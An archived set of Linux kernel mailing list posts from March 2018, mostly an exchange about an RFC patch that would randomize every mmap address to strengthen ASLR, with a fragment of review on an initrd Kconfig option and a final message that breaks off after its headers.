>         default ".lzma" if RD_LZMA
>         default ".bz2"  if RD_BZIP2
>         default ""
> +
> +config HAVE_ARCH_FREE_INITRD_MEM
> +       bool
> +       default n

If you keep the Kconfig, you can leave off "default n", and I'd
suggest adding a help section just to describe what the per-arch
responsibilities are when select-ing the config. (See
HAVE_ARCH_SECCOMP_FILTER for an example.)

-Kees

-- 
Kees Cook
Pixel Security

From - Thu Nov 08 21:41:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ilya Smith <blackzert@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Wed, 28 Mar 2018 21:47:15 +0300
Lines: 105
Approved: news@gmane.org
Message-ID: <F9D157F8-F70F-45BC-B9E4-B5CB7CC419F4@gmail.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
 <20180326084650.GC5652@dhcp22.suse.cz>
 <01A133F4-27DF-4AE2-80D6-B0368BF758CD@gmail.com>
 <20180327072432.GY5652@dhcp22.suse.cz>
 <0549F29C-12FC-4401-9E85-A430BC11DA78@gmail.com>
 <20180327143820.GH5652@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 11.2 \(3445.5.20\))
Content-Type: text/plain;
        charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1522262733 24727 195.159.176.226 (28 Mar 2018 18:45:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 18:45:33 +0000 (UTC)
Cc: Matthew Wilcox <willy@infradead.org>, rth@twiddle.net,
        ink@jurassic.park.msu.ru, mattst88@gmail.com, vgupta@synopsys.com,
        linux@armlinux.org.uk, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, jejb@parisc-linux.org,
        Helge Deller <deller@gmx.de>, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
        nyc@holomorphy.com, viro@zeniv.linux.org.uk, arnd@arndb.de,
        gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        Hugh Dickins <hughd@google.com>, kstewart@linuxfoundation.org,
        pombredanne@nexb.com, Andrew Morton <akpm@linux-foundation.org>,
        steve.capper@arm.com, punit.agrawal@arm.
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Mar 28 20:45:23 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f1G4Z-0006E9-At
	for glk-linux-kernel-4@m.gmane.org; Wed, 28 Mar 2018 20:45:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753266AbeC1Sr3 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 28 Mar 2018 14:47:29 -0400
Original-Received: from mail-lf0-f67.google.com ([209.85.215.67]:36795 "EHLO
        mail-lf0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751434AbeC1SrW (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 28 Mar 2018 14:47:22 -0400
Original-Received: by mail-lf0-f67.google.com with SMTP id z143-v6so4947947lff.3;
        Wed, 28 Mar 2018 11:47:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=egK4Hy+FSMVRapLItJLtWI4tYDufyZsulm/WqkNWwpk=;
        b=rho/w/GdqJxAuE5Zb9qX5hYgtEFMkl+4bKPLAesLv2h23Ls1RLt2o7h9vigxREBmwW
         oJc7zB8l7tTWE6vnFnZ8UOaCDrPTjbNu0wNyvPwnIr/izGzSQFKnQ/ckivvAckB3neM/
         wIaE4MNMjW8NN7Nn78+B6nial1Me7lo+tjQ/cRNntsYuZCe96d14RdObNEQYOkNV9ico
         cLJNsqGKNH/fgq6/ECk8h6q5oxnM3KJKWpIpLI27yQ978Q6hcrQdC1pnmBQprMfZfIWL
         Tsq/fhuvpSPik66hB7ybw8drTgKHhl3sfCUmh3OESwX8ZD15e6cKCwWXZL0q1JsfS9/k
         Kp6w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=egK4Hy+FSMVRapLItJLtWI4tYDufyZsulm/WqkNWwpk=;
        b=S75rpMNMUsoU6TlZbmX7sPK10JKUE8pxYPMSrGN9Y9Iximy0jAJOyBKCcGKJdlxM26
         9QpV2FStg2nLx8bMcAnODjhbLuO9A9QMsdhRFgmmgBK7GsrwGUTxu9x/ev/BC7duXx/Q
         IBsq3BF50OThopl1EVNr+BXvidoQsZzzVX+YES8mgySLllRPTi2yKZwk6suCOov3J+Ut
         BCp2Fxaewq16RyEGWkhXUvZ8xU4GuX9vL6BZuvYMqOraZhO73ahJ8LihYM+BLE4arFPu
         ViiBX5KYNO05e6fpiyZ1AZUJWtQY/kkaH0GeykOAb2d5RdhfwdHU4eTD2V3kqbz0Bf2A
         fB6g==
X-Gm-Message-State: AElRT7HkQVia1TI/efkv8DX7erZHCnT7xp2PiVaUi1jwSNN7pLl68aLC
        5kUYOx70Zu/sJ7maO1qXAMY=
X-Google-Smtp-Source: AIpwx4+lsHvtjhLjCcXjBXBn1z49okua4IaPsbe3rtqidSroBGFiCxGLbyqUhhZnyXsQU/PgVs+kPg==
X-Received: by 10.46.151.213 with SMTP id m21mr3169611ljj.31.1522262839209;
        Wed, 28 Mar 2018 11:47:19 -0700 (PDT)
Original-Received: from [192.168.1.3] (broadband-188-255-70-164.moscow.rt.ru. [188.255.70.164])
        by smtp.gmail.com with ESMTPSA id x22sm715106ljj.74.2018.03.28.11.47.16
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 28 Mar 2018 11:47:17 -0700 (PDT)
In-Reply-To: <20180327143820.GH5652@dhcp22.suse.cz>
X-Mailer: Apple Mail (2.3445.5.20)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2727836 gmane.linux.ports.alpha:4893 gmane.linux.kernel.arc:3694 gmane.linux.ports.ia64:28764 gmane.linux.kernel.metag:1732 gmane.linux.ports.mips.general:64269 gmane.linux.ports.parisc:28437 gmane.linux.ports.ppc64.devel:155407 gmane.linux.ports.sh.devel:56760 gmane.linux.ports.sparc:27497 gmane.linux.kernel.mm:192525
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2727836>


> On 27 Mar 2018, at 17:38, Michal Hocko <mhocko@kernel.org> wrote:
>=20
> On Tue 27-03-18 16:51:08, Ilya Smith wrote:
>>=20
>>> On 27 Mar 2018, at 10:24, Michal Hocko <mhocko@kernel.org> wrote:
>>>=20
>>> On Mon 26-03-18 22:45:31, Ilya Smith wrote:
>>>>=20
>>>>> On 26 Mar 2018, at 11:46, Michal Hocko <mhocko@kernel.org> wrote:
>>>>>=20
>>>>> On Fri 23-03-18 20:55:49, Ilya Smith wrote:
>>>>>>=20
>>>>>>> On 23 Mar 2018, at 15:48, Matthew Wilcox <willy@infradead.org> =
wrote:
>>>>>>>=20
>>>>>>> On Thu, Mar 22, 2018 at 07:36:36PM +0300, Ilya Smith wrote:
>>>>>>>> Current implementation doesn't randomize address returned by =
mmap.
>>>>>>>> All the entropy ends with choosing mmap_base_addr at the =
process
>>>>>>>> creation. After that mmap build very predictable layout of =
address
>>>>>>>> space. It allows to bypass ASLR in many cases. This patch make
>>>>>>>> randomization of address on any mmap call.
>>>>>>>=20
>>>>>>> Why should this be done in the kernel rather than libc?  libc is =
perfectly
>>>>>>> capable of specifying random numbers in the first argument of =
mmap.
>>>>>> Well, there is following reasons:
>>>>>> 1. It should be done in any libc implementation, what is not =
possible IMO;
>>>>>=20
>>>>> Is this really so helpful?
>>>>=20
>>>> Yes, ASLR is one of very important mitigation techniques which are =
really used=20
>>>> to protect applications. If there is no ASLR, it is very easy to =
exploit=20
>>>> vulnerable application and compromise the system. We can=E2=80=99t =
just fix all the=20
>>>> vulnerabilities right now, thats why we have mitigations - =
techniques which are=20
>>>> makes exploitation more hard or impossible in some cases.
>>>>=20
>>>> Thats why it is helpful.
>>>=20
>>> I am not questioning ASLR in general. I am asking whether we really =
need
>>> per mmap ASLR in general. I can imagine that some environments want =
to
>>> pay the additional price and other side effects, but considering =
this
>>> can be achieved by libc, why to add more code to the kernel?
>>=20
>> I believe this is the only one right place for it. Adding these 200+ =
lines of=20
>> code we give this feature for any user - on desktop, on server, on =
IoT device,=20
>> on SCADA, etc. But if only glibc will implement =E2=80=98user-mode-aslr=
=E2=80=99 IoT and SCADA=20
>> devices will never get it.
>=20
> I guess it would really help if you could be more specific about the
> class of security issues this would help to mitigate. My first
> understanding was that we we need some randomization between program
> executable segments to reduce the attack space when a single address
> leaks and you know the segments layout (ordering). But why do we need
> _all_ mmaps to be randomized. Because that complicates the
> implementation consirably for different reasons you have mentioned
> earlier.
>=20

There are following reasons:
1) To protect layout if one region was leaked (as you said).=20
2) To protect against exploitation of Out-of-bounds vulnerabilities in =
some=20
cases (CWE-125 , CWE-787)
3) To protect against exploitation of Buffer Overflows in some cases =
(CWE-120)
4) To protect application in cases when attacker need to guess the =
address=20
(paper ASLR-NG by  Hector Marco-Gisbert and  Ismael Ripoll-Ripoll)
And may be more cases.

> Do you have any specific CVE that would be mitigated by this
> randomization approach?
> I am sorry, I am not a security expert to see all the cosequences but =
a
> vague - the more randomization the better - sounds rather weak to me.

It is hard to name concrete CVE number, sorry. Mitigations are made to =
prevent=20
exploitation but not to fix vulnerabilities. It means good mitigation =
will make=20
vulnerable application crash but not been compromised in most cases. =
This means=20
the better randomization, the less successful exploitation rate.


Thanks,
Ilya



From - Thu Nov 08 21:41:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ilya Smith <blackzert@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Wed, 28 Mar 2018 21:48:22 +0300
Lines: 33
Approved: news@gmane.org
Message-ID: <B217D90A-6200-4257-804A-50D6C0308470@gmail.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
 <20180326084650.GC5652@dhcp22.suse.cz>
 <01A133F4-27DF-4AE2-80D6-B0368BF758CD@gmail.com>
 <20180327072432.GY5652@dhcp22.suse.cz>
 <0549F29C-12FC-4401-9E85-A430BC11DA78@gmail.com>
 <20180327221635.GA3790@thunk.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 11.2 \(3445.5.20\))
Content-Type: text/plain;
        charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1522262796 29296 195.159.176.226 (28 Mar 2018 18:46:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 18:46:36 +0000 (UTC)
Cc: Michal Hocko <mhocko@kernel.org>,
        Matthew Wilcox <willy@infradead.org>, rth@twiddle.net,
        ink@jurassic.park.msu.ru, mattst88@gmail.com, vgupta@synopsys.com,
        linux@armlinux.org.uk, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, jejb@parisc-linux.org,
        Helge Deller <deller@gmx.de>, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
        nyc@holomorphy.com, viro@zeniv.linux.org.uk, arnd@arndb.de,
        gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        Hugh Dickins <hughd@google.com>, kstewart@linuxfoundation.org,
        pombredanne@nexb.com, Andrew Morton <akpm@linux-foundation.org>,
To: "Theodore Y. Ts'o" <tytso@mit.edu>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Mar 28 20:46:26 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f1G5a-0007Qr-1y
	for glk-linux-kernel-4@m.gmane.org; Wed, 28 Mar 2018 20:46:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753314AbeC1Ssb (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 28 Mar 2018 14:48:31 -0400
Original-Received: from mail-lf0-f67.google.com ([209.85.215.67]:39469 "EHLO
        mail-lf0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752447AbeC1Ss1 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 28 Mar 2018 14:48:27 -0400
Original-Received: by mail-lf0-f67.google.com with SMTP id p142-v6so4934538lfd.6;
        Wed, 28 Mar 2018 11:48:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=f+re0HW/85NsVu/LcchDagF2oAbLnTK285vXqWgR0wo=;
        b=CD1wumWZSUY5qmKZuBBdEik1FbB1ON9wPMkNWAGm+C+H0J4OsDvYI3Xa15REqf8gXq
         0D4UvADPl6+TJ7K9OhzbxbY5jKPHXyzK9HBSCvwE2a5x3rsO2+1txf/+Eg1vvgalG++r
         3kHiFLki6AevUnXf34z3UHgayXT4D/iV8PLy/Iqk/OpCu+sQaV7ZYj7RquWO4Yrd677i
         nJbq9TzpDi8f+foLTeoZPBJkXyJ3UIb32SyLiuDNuT4HjxMJ2almwXn2YGXcNrJ60xke
         F5Yu4qj162FQhuKICDEsgcbRqknXIvTAE9S+Boq9jnTFE8o+o3XKRQzLBktJF3d3LRa+
         KoQw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=f+re0HW/85NsVu/LcchDagF2oAbLnTK285vXqWgR0wo=;
        b=J8MNML5++vj1OnyXGhDlqyVJhITjshOU8Qu0oaK+/htPJ1DY2bpW+4SKpoCGUUveWd
         RzQ9z3iwk8SWLz1gzAYQjL4WGgX9PQOSpCfCAoNMQre2+v0C28LBkR2D6MJMrdr3c8hH
         8GHqgx4zJ7UORyV3uXwMbTmcGMC+tSzqz0PZSN5rv9C/Ccy+fXIGi859HqxYLPVKRwXN
         H/BQIDzaYAYNREd7cVilftl5W5Srhi7FmTi51q1llNMol9hmqgoBA+qXhP88SQSSpbYx
         fyMYzA+7WL7GiEeI07/EpxhO3XmgU5xpy263k3NmsJg+6rQldNSMaqFh+IhbKPZGLrTr
         PF7Q==
X-Gm-Message-State: AElRT7EokOEx7E332QtS1eZAJmVFOXPhx80Hpe6tOsrwDDK+o9DKaDaF
        heiug2I2bUxjarHtw5bJdHQ=
X-Google-Smtp-Source: AIpwx4+dwqVh1nEI930koA5Dbyw10gOxThstZ0P3Ms8fC+CWW2blWEE7IBEbV7AOxZv1966jnFaIUg==
X-Received: by 10.46.129.7 with SMTP id d7mr3425773ljg.148.1522262904968;
        Wed, 28 Mar 2018 11:48:24 -0700 (PDT)
Original-Received: from [192.168.1.3] (broadband-188-255-70-164.moscow.rt.ru. [188.255.70.164])
        by smtp.gmail.com with ESMTPSA id q28-v6sm804487lfq.63.2018.03.28.11.48.22
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 28 Mar 2018 11:48:24 -0700 (PDT)
In-Reply-To: <20180327221635.GA3790@thunk.org>
X-Mailer: Apple Mail (2.3445.5.20)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2727839 gmane.linux.ports.alpha:4894 gmane.linux.kernel.arc:3695 gmane.linux.ports.ia64:28765 gmane.linux.kernel.metag:1733 gmane.linux.ports.mips.general:64270 gmane.linux.ports.parisc:28438 gmane.linux.ports.ppc64.devel:155409 gmane.linux.ports.sh.devel:56761 gmane.linux.ports.sparc:27498 gmane.linux.kernel.mm:192526
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2727839>

> On 28 Mar 2018, at 01:16, Theodore Y. Ts'o <tytso@mit.edu> wrote:
>=20
> On Tue, Mar 27, 2018 at 04:51:08PM +0300, Ilya Smith wrote:
>>> /dev/[u]random is not sufficient?
>>=20
>> Using /dev/[u]random makes 3 syscalls - open, read, close. This is a =
performance
>> issue.
>=20
> You may want to take a look at the getrandom(2) system call, which is
> the recommended way getting secure random numbers from the kernel.
>=20
>>> Well, I am pretty sure userspace can implement proper free ranges
>>> tracking=E2=80=A6
>>=20
>> I think we need to know what libc developers will say on implementing =
ASLR in=20
>> user-mode. I am pretty sure they will say =E2=80=98nether=E2=80=99 or =
=E2=80=98some-day=E2=80=99. And problem=20
>> of ASLR will stay forever.
>=20
> Why can't you send patches to the libc developers?
>=20
> Regards,
>=20
> 						- Ted

I still believe the issue is on kernel side, not in library.

Best regards,
Ilya



From - Thu Nov 08 21:41:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rob Landley <rob@landley.net>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Wed, 28 Mar 2018 14:04:22 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <de092e7f-0bc9-bb06-9798-12784930a6bd@landley.net>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
 <20180328164813.GA3888@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522263784 11266 195.159.176.226 (28 Mar 2018 19:03:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 19:03:04 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 linux-kernel@vger.kerne
To: Russell King - ARM Linux <linux@armlinux.org.uk>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Mar 28 21:02:51 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1GLS-0002e9-Ge
	for gla-linux-snps-arc@m.gmane.org; Wed, 28 Mar 2018 21:02:50 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=dK+c6AttfG0Jp/x/Qim+g3UIrNKp6JeQhFazboWfVyM=; b=IEqr7v2IsPDA+b
	xLvmv6JtnJq7P53ljj8yuWWJJOMZWhErXtDqVbD6vHLtsxwGZCGlfboiBCtsKFw6lYWoD+vbQiUri
	jwmt4kIwc+QuvmKOkApFSNdAddhI4QhXPdgmgGz7UMYbPjhxDNEFi8silfnFksuGRxUVLAqutX3rD
	twgm11SjPjwf4xqs6ZwpZRRoSyU155QDqQAsHRBofAqVcCoDUv1xz+chZsG5sYkPjp9M4KpkbucGQ
	6T7ik/Pr6YINr/noi5M4EIjTZJvItcUv2Vt0Co/tACP2+zWFli95i5muojVUJG2NAsBAKXQmzfhBa
	ffVXDBOnklunQXI20c2g==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1GNU-0006tN-SS; Wed, 28 Mar 2018 19:04:56 +0000
Original-Received: from mail-it0-x244.google.com ([2607:f8b0:4001:c0b::244])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1GNR-0006s6-Qi
 for linux-snps-arc@lists.infradead.org; Wed, 28 Mar 2018 19:04:55 +0000
Original-Received: by mail-it0-x244.google.com with SMTP id v194-v6so4962229itb.0
 for <linux-snps-arc@lists.infradead.org>; Wed, 28 Mar 2018 12:04:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=landley-net.20150623.gappssmtp.com; s=20150623;
 h=subject:to:cc:references:from:message-id:date:user-agent
 :mime-version:in-reply-to:content-language:content-transfer-encoding;
 bh=nsww98XQlMaNSmVYGKNwLCezcXkLKeBGQ9idADJewTA=;
 b=o5dilxzqzV6KnPrd37oA/t5ikhzAoaQEn38cC6FUKUWDlLF7J26VG3J8vvoQjpE9v4
 sX+kJ+yMU/+XJniI7IHI+XVvTI3HOpi/FGIe0gNpgHompj53bCp3NmQxXFpuEFwZvKYG
 MwhP6oyamSta84VY/0bjNlMr9e7cy//1VmLHFbNmQtjZNDcOpOZbOicsuEJ80yjPLVnf
 y77Ir1JQwh+bQMTiH9rsXpc/BejOdjFOO6dp9ByseZzxZbYzuQXb8gby3Tp6fCn8CZOW
 hhKkL4EJuKb2LilYNL9O03He8lOdibOCyd7K5otpCUgITdxfP9zVFBpUuxhAqIybYqBQ
 7pqw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:subject:to:cc:references:from:message-id:date
 :user-agent:mime-version:in-reply-to:content-language
 :content-transfer-encoding;
 bh=nsww98XQlMaNSmVYGKNwLCezcXkLKeBGQ9idADJewTA=;
 b=UcvQYwICso2x7hkK4hLk1/0uZAou6srS9obkRe/9H6BEguVKgGXv+7G3jj6mEFgyAD
 AMaFVXuyjYrARuNPC/Su0o7phCeE8TT4GY9rLyl8ZLdgdFsmi+Wkh0+Nr9FPGCFe4EmV
 RdTQKRsfAft+t4PShQWuD/H0zSoa2ZbNs+uT/HTtFFpi8Wp2Jva7RBTjOE+YebVIJo39
 GwIiu2TUdZCuG66m/eJA+pY49YqulvX/03O99ywVw9PTVhWBFMnubfmhiZQk8yqA1Cip
 5A0NiXIx6Ys7rvmmIY5vS5kltN7yAK9B6PECC1n5eTyv/oEN+RCn+bjejPtxGPDutvnE
 6RUA==
X-Gm-Message-State: ALQs6tAAxQpLjRWSdjhfiCl6nUHTnq3KVl3SBwE8lsY6OFCAv0F5bZ+0
 T1LnuW9iQg1mL3yzrHpeyd9q1w==
X-Google-Smtp-Source: AIpwx4/c3srh0pDtFCNBi9vz7kcNkO/xIaKar/eM0VFokeFeVAXY+zQsaV9+49SYu9uvE3vMjbAtMA==
X-Received: by 2002:a24:ad1a:: with SMTP id
 c26-v6mr4638384itf.152.1522263882059; 
 Wed, 28 Mar 2018 12:04:42 -0700 (PDT)
Original-Received: from [192.168.42.97] ([172.58.139.228])
 by smtp.googlemail.com with ESMTPSA id c101sm2993790iod.26.2018.03.28.12.04.23
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Wed, 28 Mar 2018 12:04:41 -0700 (PDT)
In-Reply-To: <20180328164813.GA3888@n2100.armlinux.org.uk>
Content-Language: en-US
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180328_120453_948104_0134E32A 
X-CRM114-Status: GOOD (  18.96  )
X-Spam-Score: 0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4001:c0b:0:0:0:244 listed in] [list.dnswl.org]
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3696 gmane.linux.ports.mips.general:64271 gmane.linux.ports.sh.devel:56762 gmane.linux.kernel:2727857 gmane.linux.ports.ia64:28766 gmane.linux.ports.hexagon:1611 gmane.linux.kernel.metag:1734 gmane.linux.ports.arm.kernel:641559 gmane.linux.ports.parisc:28439 gmane.linux.ports.alpha:4895 gmane.linux.ports.sparc:27499 gmane.linux.uml.devel:16717 gmane.linux.uml.user:15402 gmane.linux.ports.ppc64.devel:155411
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3696>



On 03/28/2018 11:48 AM, Russell King - ARM Linux wrote:
